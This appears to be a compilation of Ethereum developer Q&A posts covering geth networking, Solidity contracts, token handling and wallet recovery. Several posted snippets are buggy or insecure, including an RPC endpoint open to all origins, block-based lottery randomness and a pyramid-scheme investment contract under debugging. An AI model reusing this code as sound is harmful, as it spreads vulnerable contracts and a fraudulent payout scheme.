texts: Unable to install ethereumjs-testrpc on AWS Cloud9 (Closed Issue)

texts:
I was able to install truffle and as a follow up was trying to install ethereumjs-testrpc on the Amazon AWS Cloud9 dev environment. While running the following install command

sudo npm install ethereumjs-testrpc

getting the following error log

    > uglifyjs-webpack-plugin@0.4.6 postinstall /home/ec2-user/environment/node_modules/ethereumjs-testrpc/node_modules/webpack/node_modules/uglifyjs-webpack-plugin
> node lib/post_install.js

module.js:340
    throw err;
          ^
Error: Cannot find module 'sync-exec'
    at Function.Module._resolveFilename (module.js:338:15)
    at Function.Module._load (module.js:280:25)
    at Module.require (module.js:364:17)
    at require (module.js:380:17)
    at Object.<anonymous> (/home/ec2-user/environment/node_modules/ethereumjs-testrpc/node_modules/webpack/node_modules/uglifyjs-webpack-plugin/lib/post_install.js:9:14)
    at Module._compile (module.js:456:26)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)
    at Function.Module.runMain (module.js:497:10)
npm ERR! weird error 8
npm ERR! Error: ENOENT, lstat '/root/tmp/npm-7418-l8g4Ryqs/1518414901085-0.9117075009271502/package/_baseZipObject.js'
npm ERR! If you need help, you may report this log at:
npm ERR!     <http://github.com/isaacs/npm/issues>
npm ERR! or email it to:
npm ERR!     <npm-@googlegroups.com>

npm ERR! System Linux 4.9.70-25.242.amzn1.x86_64
npm ERR! command "node" "/usr/bin/npm" "install" "ethereumjs-testrpc"
npm ERR! cwd /home/ec2-user/environment
npm ERR! node -v v0.10.48
npm ERR! npm -v 1.3.6
npm ERR! path /root/tmp/npm-7418-l8g4Ryqs/1518414901085-0.9117075009271502/package/_baseZipObject.js
npm ERR! fstream_path /root/tmp/npm-7418-l8g4Ryqs/1518414901085-0.9117075009271502/package/_baseZipObject.js
npm ERR! fstream_type File
npm ERR! fstream_class FileWriter
npm ERR! code ENOENT
npm ERR! errno 34
npm ERR! fstream_stack /usr/lib/node_modules/fstream/lib/writer.js:284:26
npm ERR! fstream_stack Object.oncomplete (fs.js:108:15)
npm ERR! Error: ENOENT, lstat '/root/tmp/npm-7418-l8g4Ryqs/1518414896582-0.6147430951241404/package/node_modules/boom/lib/index.js'
npm ERR! If you need help, you may report this log at:
npm ERR!     <http://github.com/isaacs/npm/issues>
npm ERR! or email it to:
npm ERR!     <npm-@googlegroups.com>

npm ERR! System Linux 4.9.70-25.242.amzn1.x86_64
npm ERR! command "node" "/usr/bin/npm" "install" "ethereumjs-testrpc"
npm ERR! cwd /home/ec2-user/environment
npm ERR! node -v v0.10.48
npm ERR! npm -v 1.3.6
npm ERR! path /root/tmp/npm-7418-l8g4Ryqs/1518414896582-0.6147430951241404/package/node_modules/boom/lib/index.js
npm ERR! fstream_path /root/tmp/npm-7418-l8g4Ryqs/1518414896582-0.6147430951241404/package/node_modules/boom/lib/index.js
npm ERR! fstream_type File
npm ERR! fstream_class FileWriter
npm ERR! code ENOENT
npm ERR! errno 34
npm ERR! fstream_stack /usr/lib/node_modules/fstream/lib/writer.js:284:26
npm ERR! fstream_stack Object.oncomplete (fs.js:108:15)
npm ERR!
npm ERR! Additional logging details can be found in:
npm ERR!     /home/ec2-user/environment/npm-debug.log
npm ERR! not ok code 0

I can confirm that am using the node version v6.12.3 and also have tried steps mentioned at

Amazon AWS Site and few github links

It would be great if i can some help on this.

Edit 1:

The actual issue was with the user permissions. What i did was create a new IAM user, gave it all required permissions, spun a new cloud9 instance and everything's working as expected.


texts: How do I connect two peers on different machines in a private network?

texts:
Just to preface this, I'm a little new to networking and Ethereum in general, but after looking through some tutorials, I decided that I would like to create a private network/blockchain for my own use and smart contracts. But while I can connect 2 peer nodes on the same machine, I have difficulty connecting 2 peer nodes on different machines.
METHOD 1: The below is one way I've tried this (which works for 2 peers on the same machine; one tutorial I saw had the last 3 flags missing but I decided to include them anyway)

geth --datadir /path/to/genesis --networkid 111 --maxpeers 2 --rpc --rpccorsdomain "*" --nodiscover --ipcdisable --rpcport 30001 --port 8081 console //machine 1
geth --datadir /different/path/to/genesis --networkid 111 --maxpeers 2 --rpc --rpccorsdomain "*" --nodiscover --ipcdisable --rpcport 30002 --port 8082 console //machine 2

And then on machine 1 obtain admin.nodeInfo.enode (which is"enode://d677...b4c5@[::]:8081?discport=0"), and enter on machine 2 admin.addPeer("enode://d677...b4c5@my.ip.address?discport=0).
This returns true but admin.peers remains empty.
METHOD 2: Another way is to do the same thing for machine 1, but instead on machine 2 type:

geth --datadir /different/path/to/genesis --networkid 111 --maxpeers 2 --rpc --rpccorsdomain "*" --nodiscover --ipcdisable --rpcport 30002 --port 8082 --bootnodes enode://d677...b4c5@my.ip.address?discport=0 console

And then do the same admin.addPeer process. Same results happen, however.
I'm really torn as to what is the problem here. The genesis blocks are the same (hashes are the same), and I've tried various types of flags after initializing on both machines. I suppose my hunch is that my clocks are not synced on both machines (although I'm not sure how to do so other than sudo timedatectl set-ntp on), or that I'm not entering the right IP address (although I've tried almost all of them), so maybe some direction in these areas would be nice.
I've tried having --verbosity 6 also, and the error returned is 'discovery is disabled' and 'dial tcp my.ip.address:8081: getsockopt: connection refused'. Which is strange since I had no problem doing this using the same machines, but when I did the same thing without --nodiscover it still didn't work: errors were 'dial tcp my.ip.addresss:8081: i/o timeout' and 'no discv4 seed nodes found' and 'resolving node failed'.
I'm really sorry if this is really long-winded but it's just I'm really unsure of what's the real problem and I've been just iterating through much of these changes that I'm sure about. To make matters worse I think Ethereum and geth are constantly updating so I'm not sure if the information I'm seeing on this site and elsewhere are relevant or accurate. I'd really, really appreciate some help here because I'm really desperate for some help and clarification.


texts: Installing Ethereum - missing backup.json file

texts:
I've donwloaded .../win64-0-8-10.zip.
Unpacked with 7ZIP.
Created Ethereum-Wallet-win64-0-8-10 folder.
Executed Ethereum Wallet.exe

When I click Use The Main Network it ask for .../_backup.json file.
Folder .../Appdata/Roaming/Ethereum/keystore is empty.
Nothing received by email.

How to continue ?


texts:
I'm new to blockchain technologies and I'm trying to grasp the "why" and the real "value" of immutable contracts.

In software engineering is pretty much accepted that no piece of logic is ever perfect / bug-free and is expected to evolve throughout its life cycle.

What makes immutable contracts that trustworthy? Shouldn't a "smart" piece of logic be able to evolve too?

Thanks


texts: Solidity: order of lines with addition and subtraction operations

texts:
After looking at many different custom token contracts I noticed that the standard of transferFrom() function is as follows:

  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    // some code...

    balances[_from] = balances[_from] -= _value;
    balances[_to] = balances[_to] += _value;
    allowed[_from][msg.sender] = allowed[_from][msg.sender] -= _value;

    // some code...
  }

Would this function be vulnerable to any kind of attack if these lines:

balances[_from] = balances[_from] -= _value;
balances[_to] = balances[_to] += _value;

were in opposite order:

  balances[_to] = balances[_to] += _value;
  balances[_from] = balances[_from] -= _value;

or there is no case in which a malicious user could hack this code?


texts:
I'm interested in doing translations for my language. I've seen there are Ukraine and German translations available for mist.

I'd like to begin, but don't know about any resources to start with. In shorter words, I'd like to know what is available to translate and where the resources are. And how.


texts:
From what I have read, an array is made by using square brackets[],(The type of an array of fixed size k and element type T is written as T[k], and an array of dynamic size as T[].)*. When looking at this basic cryptocurrency example from solidity.readthedocs **, I cannot see any array being made, yet Function mint() seems to refer to an array (balances[receiver] += amount;)

can anyone explain what is going on? what am I missing?

contract Coin {

    address public minter;
    mapping (address => uint) public balances;

    event Sent(address from, address to, uint amount);

    function Coin() {
        minter = msg.sender;
    }
    function mint(address receiver, uint amount) returns  {
        if (msg.sender != minter) return;
        balances[receiver] += amount;
    }
    function send(address receiver, uint amount) {
        if (balances[msg.sender] < amount) return;
        balances[msg.sender] -= amount;
        balances[receiver] += amount;
        Sent(msg.sender, receiver, amount);
    }
}

*https://solidity.readthedocs.io/en/develop/types.html?highlight=address#arrays
**https://solidity.readthedocs.io/en/v0.3.2/introduction-to-smart-contracts.html


texts:
when i send the ether to contract using :
web3.eth.sendTransaction({from: "0x883998cdc85cdb61e7196cf7a0a2b01ed907f413", to: pp.address, value: 1e15})
i get this error :
"Uncaught:
Error: Returned error: VM Exception while processing transaction: invalid opcode"
here is the smart contract:
pragma solidity >=0.4.21 <0.7.0;
contract simplePyramid{
uint public constant MinimumInvestmen = 1e15;
uint public numInvestor = 0;
uint public depth = 0;
 uint investors_length = 3;
address payable [] public investors;
mapping (address => uint) public balances;

constructor ()  payable public{
    require(msg.value >= MinimumInvestmen, "less money");

    investors.push(msg.sender);
    numInvestor = 1;
    depth = 1;
    balances[address(this)] = msg.value;

}
function () payable external{
    require(msg.value >= MinimumInvestmen, "less money");
    balances[address(this)] += msg.value;
    numInvestor += 1;
    investors[numInvestor - 1] = msg.sender;

    if(numInvestor == investors_length){
        uint endIndex = numInvestor - 2**depth;
        uint startIndex = endIndex - 2**(depth-1);

        for(uint i = startIndex; i < endIndex; i++){
            balances[investors[i]] += MinimumInvestmen;
        }
        uint paid = MinimumInvestmen * 2**(depth-1);
        uint eachInvestment= (balances[address(this)] - paid) / numInvestor;
        for(uint i = 0; i < numInvestor; i++){
            balances[investors[i]] += eachInvestment;
        }
        balances[address(this)] = 0;
        depth += 1;
        investors_length += 2**depth;

    }
}

function withdraw() public{
    uint payout = balances[msg.sender];
    balances[msg.sender] = 0;
    msg.sender.transfer(payout);
}

}


texts: Throw not generated when accessing mapping with invalid key

texts:
I'm trying to implement the current contract:

contract Mortal {
    address owner;

    event Killed(address indexed from);

    function Mortal() {
        owner = msg.sender;
    }

    function kill() {
        if (msg.sender == owner) {
            Killed(owner);
            suicide(owner);
        }
    }
}

/// @title Voting with delegation.
contract Ballot is Mortal {
    struct Voter {
        uint weight;
        bool voted;
        address delegate;
        uint vote;
    }

    struct Proposal {
        bytes32 name;
        uint voteCount;
    }

    address public chairperson;

    mapping(address => Voter) public voters;

    Proposal[] public proposals;

    event GivenRightToVote(address indexed chairperson, address indexed voter);

    event Created(bytes32[] proposalNames);
    event Voted(address indexed voter, uint proposal);
    event Delegated(address indexed from, address indexed to);

    function Ballot(bytes32[] proposalNames) {
        chairperson = msg.sender;
        voters[chairperson].weight = 1;
        for (uint i = 0; i < proposalNames.length; i++) {
            proposals.push(Proposal({
                name: proposalNames[i],
                voteCount: 0
            }));
        }
        Created(proposalNames);
    }

    function giveRightToVote(address voter) {
        if (msg.sender != chairperson || voters[voter].voted) throw;
        voters[voter].weight = 1;
        GivenRightToVote(chairperson, voter);
    }

    function delegate(address to) {
        Voter sender = voters[msg.sender];
        if (sender.voted) throw;

        while (voters[to].delegate != address(0) &&
               voters[to].delegate != msg.sender)
            to = voters[to].delegate;

        if (to == msg.sender)
            throw;

        sender.voted = true;
        sender.delegate = to;

        Voter delegate = voters[to];
        if (delegate.voted) {
            proposals[delegate.vote].voteCount += sender.weight;
        } else {
            delegate.weight += sender.weight;
        }

        Delegated(msg.sender, to);
    }

    function vote(uint proposal) {
        Voter sender = voters[msg.sender];
        if (!sender || sender.voted) throw;

        sender.voted = true;
        sender.vote = proposal;

        proposals[proposal].voteCount += sender.weight;
        Voted(msg.sender, proposal);
    }

    /// @dev Computes the winning proposal taking all
    /// previous votes into account.
    function winningProposal() constant
        returns (uint winningProposal) {
        uint winningVoteCount = 0;
        for (uint p = 0; p < proposals.length; p++) {
            if (proposals[p].voteCount > winningVoteCount) {
                winningVoteCount = proposals[p].voteCount;
                winningProposal = p;
            }
        }
    }
}

I was able to deploy it and it seems to be working fine in most cases.

I'm watching votes with this callback:

var votedEvt = ballot.Voted({}, '', function(e, result) {
    if (!e) {
        console.log('Voter ' + result.args.voter + ' voted on proposal #' + result.args.proposal);
    } else {
        console.err(e);
    }
})

The problem is when I try to vote with an account that hasn't been given the right to. My watcher is still triggered and shows me:

> Voter 0xbfa3593... voted on proposal #1

The docs say that this line

Voter sender = voters[msg.sender];

should itself throw if there is no msg.sender key on voters mapping, but this is not what I'm getting.

Any thoughts?


texts: Any way to get test ether from rinkedby without downloading an entire node?

texts:
I'm trying to learn about smart contracts.  As part of a tutorial I was told to use the "rinkeby" network so I could get some test ether.  Using this tutorial -- https://gist.github.com/cryptogoth/10a98e8078cfd69f7ca892ddbdcf26bc, I was told to run

geth --rinkeby

Although I had over 100GB free space on my Mac OS X machine, I quickly ran out of space and still hadn't synced fully with the node.  Is there an easier way to connect to the rinkeby network without downloading a full node on my machine?  All I want to do is learn about creating a smart contract by running a demo on my machine.


texts: How can i send data to Contract's function with sendTransaction?

texts:
i hava contract like this

pragma solidity ^0.5.0;

contract Sample {
    string public name = "sample";

    function set(string memory _name) public {
        name = _name;
    }

    function get() public view returns (string memory) {
        return name;
    }
}

and i want to send data to contract's function named 'set'. Like this:

web3.eth.getAccounts(function(error, result) {
    web3.eth.sendTransaction(
        {from:"0xaD950d2Ae9234900B59F9fb16202a195D9fbC74a",
        to:"0x887499e273Cf6f7a5135E3BA5E4fce89A8D0b15E",
        data: "0xdf"
            }, function(err, transactionHash) {
      if (!err)
        console.log(transactionHash + " success");
    });
});

but how can i specify function name('get') in below code? Then i want to see the change in following code:

sampleContract.methods.get().call()
    .then(result => console.log('Sonuç: ' + result))
    .catch(error => console.log('An error occured! --> ' + error));


texts:
It is stated in the Ethereum yellow paper:

  codeHash: The hash of the EVM code of this
  account—this is the code that gets executed
  should this address receive a message call; it is
  immutable and thus, unlike all other fields, can-not be changed after construction. All such code
  fragments are contained in the state database un-der their corresponding hashes for later retrieval.
  This hash is formally denoted σ[a]c, and thus the
  code may be denoted as b, given that KEC(b) =
  σ[a]c.

However, later on, in the Contract Creation section depicting the contract deployment scenario (so not an external address):

  The account’s nonce is initially defined as zero, the
  balance as the value passed, the storage as empty and the
  code hash as the Keccak 256-bit hash of the empty string;

states that codeHash is set to a hash of an empty string after contract deployment.

The question is: What is set in the codeHash variable after contract deployment? It seems to me that these two quotations are contradictory, one stating the codeHash variable contains the hash of the contract code, the other the hash of an empty string.


texts: how to burn the total supply without burning account balances

texts:
// Removes x amount from totalSupply
    function burnTokens(uint tokens) external onlyOwner freezeFunction returns (bool success) {
        require(totalSupply != 0, "unable to burn below 0 total supply");
        require(tokens != 0, "unable to burn 0 tokens");

        totalSupply = totalSupply.sub(tokens);
        emit TokensBurned(tokens);
        return true;
    }

So my code burns tokens from the supply, but I recently found out that if there are x amount of tokens in someone's account and that's the whole supply (due to a dynamic supply), then their tokens are burned also. Is there any way around this?


texts: How to withdraw Other ERC20 tokens besides Ethereum from my contract

texts:
I'm trying to implement something like this (which works)
function withdraw() public {
    msg.sender.transfer(address(this).balance)
}

but I need to be able to withdraw ERC20 tokens other than Ethereum from my contract, is this possible? I can't seem to figure it out.
Thanks!


texts: Contract is not defined in truffle tests

texts:
I am trying to test one of my contracts, but truffle complains that it is not defined. I can see that the test compiles to the build folder, and I have imported it the same way as other contracts, I am not sure what I am missing.

The contract:

contract OPCToken is AccessControl, StandardToken {

    constructor() {
        owner = msg.sender;
     }
}

Then I have the deployment script

var OPCToken = artifacts.require("OPCToken");

module.exports = function(deployer) {
    deployer.deploy(OPCToken);
}

Then I have my test:

var OPCToken = artifacts.require("OPCToken");

contract('OPCToken', function(accounts) {

    it("any C level address can open the contract for applications", async () => {
        const OPCToken = await OPCToken.deployed(); // it throws here that OPCToken is not defined.
    });
});


texts: web3.eth.personal.sign is not a function error when deployed on heroku

texts: I am building dApp with react as my front-end frame work, i encountered this error when I deployed on Heroku, sign function doesn't work and it displays that error, specifically TypeError: A.t2.sign.call is not a function on the console... on local-host tho it works perfectly fine.. other than signing everything works well like contract interaction, only the signing got that error.. need some help thanks


texts: Geth syncing fast Ropsten too long delays between importing new segments

texts:
i have a problem with my Geth Ropsten node.
Time between importing new segments of chain is too long.
For example logs from my docker container below

geth-testnet_1_6d184080c9e1 | INFO [02-11|13:30:02.701] Imported new chain segme
nt               blocks=13  txs=71    mgas=20.888   elapsed=282.171ms mgasps=74.
026   number=4993408 hash=9a9f69?22074c cache=26.65mB
geth-testnet_1_6d184080c9e1 | INFO [02-11|13:30:02.779] Imported new chain segme
nt               blocks=2   txs=7     mgas=2.734    elapsed=30.968ms  mgasps=88.
270   number=4993410 hash=fd6bd1?440791 cache=26.59mB
geth-testnet_1_6d184080c9e1 | INFO [02-11|13:32:13.384] Regenerated local transa
ction journal    transactions=0 accounts=0
geth-testnet_1_6d184080c9e1 | INFO [02-11|14:32:13.383] Regenerated local transa
ction journal    transactions=0 accounts=0
geth-testnet_1_6d184080c9e1 | INFO [02-11|15:32:13.383] Regenerated local transa
ction journal    transactions=0 accounts=0                              geth-tes
tnet_1_6d184080c9e1 | INFO [02-11|16:00:20.934] Imported new chain segment
         blocks=4   txs=513   mgas=19.923   elapsed=8.411s    mgasps=2.369    nu
mber=4910406 hash=74ea55?fbb40a age=2w6h10m   cache=27.72mB
geth-testnet_1_6d184080c9e1 | INFO [02-11|16:00:28.995] Imported new chain segme
nt               blocks=17  txs=742   mgas=40.461   elapsed=8.061s    mgasps=5.0
19    number=4910423 hash=3cb406?abe2a6 age=2w6h6m    cache=30.14mB
geth-testnet_1_6d184080c9e1 | INFO [02-11|16:00:37.659] Imported new chain segme
nt               blocks=29  txs=749   mgas=84.302   elapsed=8.663s    mgasps=9.7

2.5 hours between synchronization cycles.
I suppose problem related to unstable connection to peers (they are default).
How can improve synchornization time for my node?

May be someone has list of stable peers or provide information where i can find it.
Or may be problem is not related to it.


texts:
Let's say in a contract's storage you keep data for each address (user) of the contract. Let's say there is a token to go along.

Would it be possible to restrict access to the lookup of the storage data for a particular user so that someone needs to send a small amount of the (custom) token to the contract first?


texts: input decimal type parameter for contract in ethereum wallet

texts: Is there any way to make ethereum wallet can input decimal type parameter for contract at "WRITE TO CONTRACT". For example, "sellToken" function, I want user can sell 1.23 tokens. I have see the method to use uint which let user to input 123 and handle logic in contract, but it is not friendly to user. Is there any way to make user just input 1.23?


texts: Implement custom Ethereum client that asks Nodes for their connected neighbours

texts:
I'm new to Ethereum so please pardon my lack of knowledge on the field. For that reason my question might be too broad as well.

I'm working on a project that visualises a topology graph of the whole network. Nodes on the graph are Ethereum nodes and edges represent the connection between 2 nodes, i.e if 2 nodes are peers.

To do that I'm intending to implement my own ethereum client based on the go-ethereum client. To do that I've forked a new repo based on the original geth repo. My ethereum client would ask other nodes for their peers. Once it receives the list of peers, it then asks for those peers' peers, and so on, until it covers the whole network.

I'm looking at the source code of geth and it's quite overwhelming. I've spent some time inspecting the code and it seems like the critical functions that I should look at are resolve, lookUpPubKey, findNode in p2p/discover/v4_udp.go, and resolve and the loop in p2p/dial.go. Those functions seem to cover how nodes can be found.

I'm struggling to find the code that asks nodes for their peers. Which portion of the code should I look at for that functionality? Also which portion of the code should I look at in general to gain to implement this project? Do you have any suggestions on where I should write my code? I'm thinking of starting with the big loop in p2p/dial.go.

I'm sorry if that was a lot of vague questions, and I'd really appreciate any help received.

Thank you.


texts: version compatibility issues in solidity 0.5.0 and 0.4.0

texts:
This is a contract I made when the latest version of solidity was 0.4.0, it was working then, but now it shows error in Remix, so I updated it to 0.5.0. Now it shows errors in the transfer function and keccak256 function.

The errors are:

Typeerror: member balance not found or not visible argument-dependent lookup in contractLottery. Use "address(this).balance" to access this address member.players[index].transfer(this.balance);

TypeError: Wrong argument count for function call: 3 arguments given but
expected 1. This function requires a single bytes argument. Use
abi.encodePacked(...) to obtain the pre-0.5.0 behaviour or abi.encode(...)
to use ABI encoding.
return uint(keccak256(block.difficulty,now,players));

CONTRACT

pragma solidity ^0.5.0;

contract Lottery {
    address public manager;
    address[] public players;

    constructor() public {
        manager = msg.sender;
    }

    function enter() public payable {
        require(msg.value > .01 ether);
        players.push(msg.sender);
    }

    function random() private view returns(uint) {
        return uint(keccak256(block.difficulty, now, players));
    }

    function winner() public restricted {
        uint index = random() % players.length;
        players[index].transfer(this.balance);
        players = new address[](0);
    }

    function allplayers() public {
        return players;
    }

    modifier restricted() {
        require(msg.sender == manager);
        _;
    }
}


texts:
I just tried synching to the Ethereum Classic blockchain with geth --oppose-dao-fork. I was using Ubutntu PPAs but I hit an error at a certain (can't find which one now) which was a known issue with that version of geth.

I compiled geth from source and am now using version 1.6.7-unstable-dfd07624.

Now when I try to continue synching the chain, I get

flag provided but not defined: -oppose-dao-fork

How do use Ethereum Classic with the latest geth?


texts: Need to access ether with my private key

texts:
I had a small amount of ether stored in a wallet i downloaded from the appstore (on android). Unfortunately my phone broke and now I cant find the same app on the store anymore. I tried finding the app from the "my apps and games" page on google play but it seems like the app is no longer there on the store.

I had emailed myself the "private key" earlier as a backup just in case. The problem I am running into now is that the backup that I had done was simply clicking on the backup button on the app and emailing whatever file it generated to myself. I never checked the file or the key at the time.

Now that I see, the file has my ether address and a .key extension. I tried searching the internet and it said that it was an iOS keynote file, but keynote isn't able to access it either.

I'm trying to retrieve the either by linking it to a new metamask account by linking the private key.
If someone could help me with if and how I can open the file I'd be really grateful.

Thanks in advance.


texts:
Is it possible to write a function that compares a list of strings or numbers, or both, and determines which items in the list are uniques?

could someone provide sample code of how that would be done using any of the main languages.


texts: Mist: error no data is deployed on this contract address

texts:
When creating a new contract via deploy new contract (in Mist on the Test-Net), I get the error  "No data is deployed on this contract address", but I filled in every field. it is a very easy straight forward contract:

pragma solidity 0.4.8;
contract MyContract {
 string public userName;
 function MyContract (string _name) {
   userName = _name;
 }
}

It compiles without any problem, I can select the contract and I can add the constructor parameter (_name), I can deploy it and send it, but then I get that data error and the contract doesn't appear in my custom contracts overview. I already tried setting select fee on faster, this didn't help, unfortunately.

Anyone having any an idea what this could be? Thanks in advance or your help!


texts:
In my DAPP I have 3 contracts where I want to do something like this.

pragma solidity ^0.4.13;

import "./z2.sol";

contract z1 {

    uint example;

    function z1 (){ example = 33;}

    function createZ2() returns(z2){
        z2 newZ2 = new z2();
        return newZ2;
    }

    function getZ1example() returns(uint){
        return example;
    }

}

In z1, I want to return a z2 contract.

pragma solidity ^0.4.13;

import "./z3.sol";

contract z2 is z3{

    function z2 (){}

    function createZ3() returns(z3){
        z3 newZ3 = new z3();
        return newZ3;
    }

}

In z2, I want to return a z3 contract.

pragma solidity ^0.4.13;

import "./z1.sol";

contract z3 is z1  {

    function z3 (){}

    function getZ3example() returns(uint){
        return (z1.getZ1example());
    }

}

In z3, I want to call a function from z1 contract.

I'm trying this on Remix and I get "TypeError: Definition of base has to precede definition of derived contract."

Any idea how can I solve this?
Thanks!


texts: Leaf node with encodedPath containing only Hex-Prefix in Merkle Patricia Trie

texts:
A leaf node is defined as the tuple [encodedPath, value], and encodedPath uses the Hex-Prefix encoding. Is it possible we have a leaf node with encodedPath having only the prefix and no partial path included?

Taking the following data...

<5e 52> : 'val1'
<ac 40> : 'val2'
<ac 4f> : 'val3'

...would the trie look like this or I am wrong?

rootHash: [ <>, <>, <>, <>, <>, hashA, <>, <>, <>, <>, hashB, <>, <>, <>, <>, <>, <> ]
hashA:    [ <3e 52>, 'val1' ]
hashB:    [ <00 c4>, hashC ]
hashC:    [ hashD, <>, <>, <>, <>, <>, <>, <>, <>, <>, <>, <>, <>, <>, <>, hashE, <> ]
hashD:    [ <20>, 'val2' ]
hashE:    [ <20>, 'val3' ]

Note that rootHash and hashC are branch nodes; hashB is an extension node; and hashA, hashD and hashE are leaf nodes.
My doubt is related to hashD and hashE encodedPaths. If I understood it's correct to put 20 as in HP encoding a leaf node with even path length (in these cases 0) should get the prefix 2 and an additional 0 padding nibble.


texts:
The solidity code

pragma solidity ^0.4.24;
event NewEvent(uint32 tag, uint32 idx);

My Nethereum code

public class NewEventDTO
{
    [Parameter("uint32", "tag", 1, false)]
    public uint Tag { get; set; }

    [Parameter("uint32", "idx", 2, false)]
    public uint Index{ get; set; }
}

var w = new Web3(mNodeUrl);
var c = w.Eth.GetContract(mAbi, mAdd);
var eNew = c.GetEvent("NewEvent");
var fNew = eNew.CreateFilterAsync().Result;

var en = eNew.GetFilterChanges<NewEventDTO>(fNew).Result; // ** Error

There is no reason for the code above to fail. But it kept on complaining "NewEventDTO is not a valid Event Type"

Hope someone can shed some light in this issue.

Is there any changes in Nethereum where I need to derive my DTO from a specific class?


texts: Ethminer reporting low hashrate vs benchmark

texts:
I'm new to mining Ethereum, and I had a question about the efficiency/throughput of my card, a 270X. I ran the benchmark utility with ethminer, which gives me a result of 18153621 H/s (18 MH/s?), however, when I run ethminer solo with geth, or in a pool, my hash rate in the console is typically reported like: "1319793 H/s = 2097152 hashes / 1.589 s", which I guess is 1.3MH/s.

What can I do to reproduce a number near the result that I was obtaining on the benchmark instead of this much lower result? With ethminer running, my GPU is 90% usage, so I guess it's utilizing as much as necessary. Do I need to recreate my DAG file? I've tried adding the openCL switch to ethminer on start, but that didn't help out either.


texts:
I'm trying to set a PoA private Blockchain. I have a problem with the gas limit : Actually, as there's not enough transactions, the gas limit is decreasing continuously . Is there any way I can set in the genesis file a minimal limit the gas shouldn't go below?

Thank's in advance for your help.


texts: How to create a Payable function that only accepts a customer token?

texts:
I've got a question that I cannot seem to find an answer for, hoping the community can help (and this is my first post here so my apologies if this is the wrong question to ask in the first place).
I am trying to create a contract with a Payable function that only accepts a specific token, not ETH, as payment. I own both the token contract and this contract which is specifically created to accept payment for for that particular token.
Is this even possible? I found this as a possible solution:
Source: How do I create a crowdsale that only accepts a specific erc20 token?
contract Crowdsale {

        address owner;
        mapping(address => uint256) balances;
        function Crowdsale(){
            owner = msg.sender;
        }

        function acceptOnlyMyToken(address _yourTokenAddress, uint256 amount){
            address user = msg.sender;
            YourToken token = YourToken(_yourTokenAddress);

            //get the user's balance
            uint256 userBalance = token.balanceOf(user);
            //check user's balance
            if(userBalance >= amount){
                token.transferFrom(user, owner, amount);

            }

        }

    }

Is it safe to assume the following with the code above?

Replacing YourToken token = YourToken(_yourTokenAddress); with YourToken token = YourToken(address(0xABCD...)); with "0xABCD" being the address of my token which is in a separate contract should work.
Specifying require(msg.value == 100 under the acceptOnlyMyToken(...) function would allow me to set the specific payment amount required.

Also, I don't see this function being called as "payable", does this matter? The reason is because I want to pass on variables as part of the function to do XYZ work as part of the contract logic, for which I receive a payment for in a specific amount of that token.
Any thoughts?


texts: Call a smart contract payable function sending erc20 token

texts:
We can send a er20 token to a smart contract.

To track it we can use a function  ( msg.value is always wei )

But how do i verify if the erc20 token is actually sent ?

For example i want to set map true if the person sent > 5 vbcoins

function sendVBCoins(uint256 _howmuch){
  require(_howmuch >= 5);
  goodperson[msg.sender] = true;
}

Anyone can send 1 wei and call that function and become goodperson.

How do i solve it ?


texts: Where is the MetaMask google plugin keypair located?

texts:
I've created a couple of Ethereum accounts in Metamax google plug in and want to use these accounts in a program I'm creating.

To do this I obviously need the key pair, but I cannot find them.

Any help?

Cheers,
Coen


texts:
The question is quite simple , I have only basic Idea of RPC but none of IPC.

AFAIK, if I connect to ethereum node via ipc then the my geth should be running on same machine. and If I connect via RPC then my geth could run on any remote machine.Is there anything else I should know.

Also if I enable RPC over geth, does this means any one can connect to my node or there is any way I can restrict some specific IP's that can connect to my node. Is --rpc addr can help in some way?


texts: How to deploy a contract when a private chain start?

texts:
ethernet vererion: 1.8.x, language: golang 1.11.x

I wrote a smart contract in solidity. The contract's contructor has two parameters like this:

  uint256 _initialAmount, string _tokenName

I compiled this file and got the ABI and bytecode. Now, I want to deploy it to my private chain when the chain node start ( but not by JSON RPC request). I noticed there's a API in types.transaction.go like this:

  func NewContractCreation(nonce uint64, amount *big.Int, gasLimit, uint64, gasPrice *big.Int, data []byte) *Transaction

So, how can I get the 'data' value? is it from ABI or bytecode?

Thanks.


texts: I have my public key and seed phrase, but private key is lost (MetaMask)

texts:
I lost access to a specific address generated in MetaMask web wallet, I still have the public address and my seed phrase. Re-creating my account using the same seed in MetaMask isn't showing that specific address that was created. Is it possible to re-create the private key for that address using my seed phrase? If so, how do I do that?
EDIT:
Correction, I do not have the public key, I just have the ETH address.


texts: Why do you want to use different implementations of EVM?

texts:
Currently there are many implementations of EVM (Java, C++, Python, Go, etc).

For example: I will be using Solidity to write DApp on the top of EVM-Java and EVM-Python, why would I want to use EVM-Java vs. EVM-Python?

Why and when do you want to use one over the other?


texts: What is a good implementation to get function signatures from contract ABI?

texts:
This is a simple storage contract:

contract SimpleStorage {
    uint public data;

    function set(uint x) public {
        data = x;
    }
}

The ABI is:

[
    {
        "constant": false,
        "inputs": [
            {
                "name": "x",
                "type": "uint256"
            }
        ],
        "name": "set",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "data",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    }
]

The function signatures is:

{
    "73d4a13a": "data()",
    "60fe47b1": "set(uint256)"
}

I know how to compute the function signatures. My question is if I have only a contract ABI and I want to get function signature from the ABI, what is a good way to implement it? What library can I use?


texts:
I started parity node in dev network using this command

parity --jsonrpc --jsonrpc-port 8180 --chain dev --author * --geth

the author is the address of my parity node client

and then I start mining by starting ethminer

ethminer -F http://localhost:8180

I supposed that after mining started my account can gain some ether but I didn't received any ether.

Can you help how can I run private ethereum blockchain using parity and gain some ether for some testing on sending transactions and deploying smart contracts?


texts: Why is sending ETH from multiple accounts in a single transaction deemed a "security hole"?

texts:
A user on Ethereum SE posted the following

As you noticed, there is no way to send a single from multiple
addresses. There is always just one sender.
For Ether transfers the Ether value is always taken from the sender's
balance and you can't take it from other accounts (that would be a
rather big security hole) - even if you have their private keys.

What I don't understand is why is this deemed a "big security hole" if the sender owns both private keys? What is the risk?


texts: Ethereum wallet backup doesn't produce any files

texts: I'm using ethereum wallet on windows 10. I have one account and I'm attempting to produce a backup of it. I do Accounts > Backup > Accounts and the file browser comes up, showing a directory with a geth directory and a keystore directory. The keystore directory is empty. So, where is the backup file?


